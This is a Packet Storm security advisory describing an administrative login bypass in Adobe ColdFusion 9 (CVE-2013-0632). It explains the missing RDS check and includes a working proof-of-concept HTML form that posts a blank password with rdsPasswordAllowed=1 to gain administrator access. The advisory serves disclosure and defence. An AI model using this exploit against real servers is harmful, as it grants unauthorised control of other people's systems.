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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 +------------------------------------------------------------------------------+ | Packet Storm Advisory 2013-0819-2| | http://packetstormsecurity.com/| +------------------------------------------------------------------------------+ | Title: Adobe ColdFusion 9 Administrative Login Bypass| +--------------------+---------------------------------------------------------+ | Release Date | 2013/08/19| | Advisory Contact | Packet Storm (advisories@packetstormsecurity.com) | | Researcher | Scott Buckel| +--------------------+---------------------------------------------------------+ | System Affected| ColdFusion| | Versions Affected| 9.0, 9.0.1, 9.0.2 | | Related Advisory | APSB13-03 | | Related CVE Number | CVE-2013-0632 | | Vendor Patched | 2013/01/15| | Classification | 1-day | +--------------------+---------------------------------------------------------+ +----------+ | OVERVIEW | +----------+ The release of this advisory provides exploitation details in relation to a known patched vulnerability in Adobe ColdFusion 9. These details were obtained through the Packet Storm Bug Bounty program and are being released to the community. The details of this issue were already leaked in the following Metasploit module: http://packetstormsecurity.com/1304-exploits/adobe_coldfusion_apsb13_03.rb.txt +------------------------------------------------------------------------------+ +---------+ | DETAILS | +---------+ Adobe ColdFusion versions 9.0, 9.0.1, and 9.0.2 do not properly check the "rdsPasswordAllowed" field when accessing the Administrator API CFC that is used for logging in. That CFC "Contains basic Administrator functionality, including login, logout, the Migration wizard, and the Setup wizard. You must call the login method before calling any other methods in the Administrator API." The login function never checks if RDS is enabled when rdsPasswordAllowed="true". This means that if RDS was not configured, the RDS user does not have a password associated with their username. This means by setting rdsPasswordAllowed to "true", we can bypass the admin login to use the rdsPassword, which in most cases, is blank. By default (and in most production environments), RDS will be disabled thus never have been configured. If a user can access the ColdFusion 9.0 administrator located at /CFIDE/administrator/index.cfm and also access the file /CFIDE/adminapi/administrator.cfc, it is possible to fully bypass the admin login. ColdFusion 9.0, 9.0.1, and 9.0.2 do not properly check if RDS was ever enabled. +------------------------------------------------------------------------------+ +------------------+ | PROOF OF CONCEPT | +------------------+ Sample code below; no changes are needed except to substitute [HOSTNAME]/CFIDE/adminapi/administrator.cfc with the proper location of the adminapi/administrator.cfc. You may save this file as test.html on your desktop and open it from there. After submitting this page, you will be logged in when going to the ColdFusion administrator page located at http://[HOSTNAME]/CFIDE/administrator/index.cfm <form action="http://[HOSTNAME]/CFIDE/adminapi/administrator.cfc?method=login" method="post"> <input type="hidden" name="adminpassword" value=""> <input type="hidden" name="rdsPasswordAllowed" value="1"> <input type="submit"> </form> +------------------------------------------------------------------------------+ +---------------+ | RELATED LINKS | +---------------+ https://www.adobe.com/support/security/bulletins/apsb13-03.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0632 http://packetstormsecurity.com/1304-exploits/adobe_coldfusion_apsb13_03.rb.txt +------------------------------------------------------------------------------+ +----------------+ | SHAMELESS PLUG | +----------------+ The Packet Storm Bug Bounty program gives researchers the ability to profit from their discoveries.You can get paid thousands of dollars for one day and zero day exploits.Get involved by contacting us at getpaid@packetstormsecurity.com or visit the bug bounty page at: http://packetstormsecurity.com/bugbounty/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.14 (GNU/Linux) iEYEARECAAYFAlISpjAACgkQrM7A8W0gTbECxACeMh0JNfER2VdpgaFpym+9wPoq 2BUAoKzUuYrUifpSv5Oo/p01Y1j++jQu =wy6j -----END PGP SIGNATURE----- |
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